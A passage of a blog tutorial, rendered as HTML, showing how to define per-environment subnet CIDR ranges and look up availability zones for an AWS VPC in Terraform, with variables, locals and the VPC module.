&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;private_subnets&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.1.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.2.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.3.0/24"&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Keep in mind that we need to do that for database and public subnets aswell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Issue #1: Full Solution
&lt;/h2&gt;

&lt;p&gt;Assuming we want to create the following subnets: private, database, and public. Here's how our &lt;code&gt;variables.tf&lt;/code&gt; and &lt;code&gt;vpc.tf&lt;/code&gt; files should look like:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;variables.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"cidr_ab"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;map&lt;/span&gt;
    &lt;span class="nx"&gt;default&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;development&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.22"&lt;/span&gt;
        &lt;span class="nx"&gt;qa&lt;/span&gt;              &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.24"&lt;/span&gt;
        &lt;span class="nx"&gt;staging&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.26"&lt;/span&gt;
        &lt;span class="nx"&gt;production&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.28"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;private_subnets&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.1.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.2.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.3.0/24"&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nx"&gt;database_subnets&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.11.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.12.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.13.0/24"&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nx"&gt;public_subnets&lt;/span&gt;          &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.64.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.65.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.66.0/24"&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"environment"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
    &lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Options: development, qa, staging, production"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;vpc.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;module&lt;/span&gt; &lt;span class="s2"&gt;"vpc"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;source&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform-aws-modules/vpc/aws"&lt;/span&gt;
    &lt;span class="nx"&gt;version&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"~&amp;gt;2.0"&lt;/span&gt;
    &lt;span class="nx"&gt;name&lt;/span&gt;                 &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"my-vpc"&lt;/span&gt;
    &lt;span class="nx"&gt;cidr&lt;/span&gt;                 &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.0.0/16"&lt;/span&gt;
    &lt;span class="nx"&gt;private_subnets&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;private_subnets&lt;/span&gt;
    &lt;span class="nx"&gt;database_subnets&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;database_subnets&lt;/span&gt;
    &lt;span class="nx"&gt;public_subnets&lt;/span&gt;       &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;public_subnets&lt;/span&gt;

    &lt;span class="nx"&gt;azs&lt;/span&gt;                  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"us-west-2a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"us-west-2b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"us-west-2c"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="c1"&gt;# omitted arguments for brevity&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Issue #2: Subnets per Availability Zone
&lt;/h1&gt;

&lt;p&gt;In issue #1, we solved the subnets per environment, but the Availability Zones (azs) were hardcoded.&lt;/p&gt;

&lt;p&gt;One might think; "Let's simply create a map variable for the region, and then use the region's name followed by 'a', 'b', 'c'". For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"region"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;default&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"development"&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"us-west-2"&lt;/span&gt;
        &lt;span class="s2"&gt;"qa"&lt;/span&gt;          &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"us-east-2"&lt;/span&gt;
        &lt;span class="s2"&gt;"staging"&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"us-east-1"&lt;/span&gt;
        &lt;span class="s2"&gt;"production"&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ca-central-1"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;module&lt;/span&gt; &lt;span class="s2"&gt;"vpc"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="c1"&gt;# omitted arguments for brevity&lt;/span&gt;

    &lt;span class="nx"&gt;azs&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;region&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;region&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;region&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If all the regions that you're using have the same amount of availability zones - then the above solution is perfect. Unfortunately, that's not true when it comes to &lt;strong&gt;ca-central-1&lt;/strong&gt; (Canada Central) which has only two availability zones. Another example would be &lt;strong&gt;us-east-1&lt;/strong&gt; (Virginia) which has six availability zones.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;: Use &lt;a href="https://aws.amazon.com/about-aws/global-infrastructure/"&gt;AWS Global Infrastructure&lt;/a&gt; to find out the number of availability zones per region. And  &lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html"&gt;Regions and Availability Zones&lt;/a&gt; to figure out the region's code (e.g., eu-west-1)&lt;/p&gt;

&lt;h2&gt;
  
  
  data aws_availability_zones
&lt;/h2&gt;

&lt;p&gt;We can get the availability zones of the region that is currently taking place, by using &lt;a href="https://www.terraform.io/docs/providers/aws/d/availability_zones.html"&gt;data "availability_zones"&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Here's is how we do it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;data&lt;/span&gt; &lt;span class="s2"&gt;"aws_availability_zones"&lt;/span&gt; &lt;span class="s2"&gt;"available"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"available"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Some explanations regarding the code above:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;data&lt;/code&gt; - get existing data/resources available in your account&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;aws_availability_zones&lt;/code&gt; - gets the list of availability zones in the current region&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;available&lt;/code&gt; - a name for that data, it's important to pick a name that reflects the meaning of the data&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;state = "available"&lt;/code&gt; - filters out availability zones that currently experience outages&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let's save the data in a local value. You might be wondering, "Why are we using local values? We also did it with the subnets, why oh why?"&lt;/p&gt;

&lt;p&gt;Rule of thumb - if there's any chance you're going to manipulate a variable/value, use a local value. This trick provides granularity to manage &lt;code&gt;local.var_name&lt;/code&gt;. It is best to manage variables behind the scenes without touching the infrastructure's code (vpc.tf, rds.tf, s3.tf files). Worst case scenario - we've used a local value even though we haven't manipulated it.&lt;/p&gt;

&lt;p&gt;Saving the availability zones &lt;a href="https://www.terraform.io/docs/providers/aws/d/availability_zones.html#attributes-reference"&gt;names&lt;/a&gt; list in a local value:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;availability_zones&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;aws_availability_zones&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;available&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;names&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Issue #2: Full solution
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;variables.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"cidr_ab"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;map&lt;/span&gt;
    &lt;span class="nx"&gt;default&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;development&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.22"&lt;/span&gt;
        &lt;span class="nx"&gt;qa&lt;/span&gt;              &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.24"&lt;/span&gt;
        &lt;span class="nx"&gt;staging&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.26"&lt;/span&gt;
        &lt;span class="nx"&gt;production&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"172.28"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;private_subnets&lt;/span&gt;         &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.1.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.2.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.3.0/24"&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nx"&gt;database_subnets&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;lookup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cidr_ab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.11.0/24"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
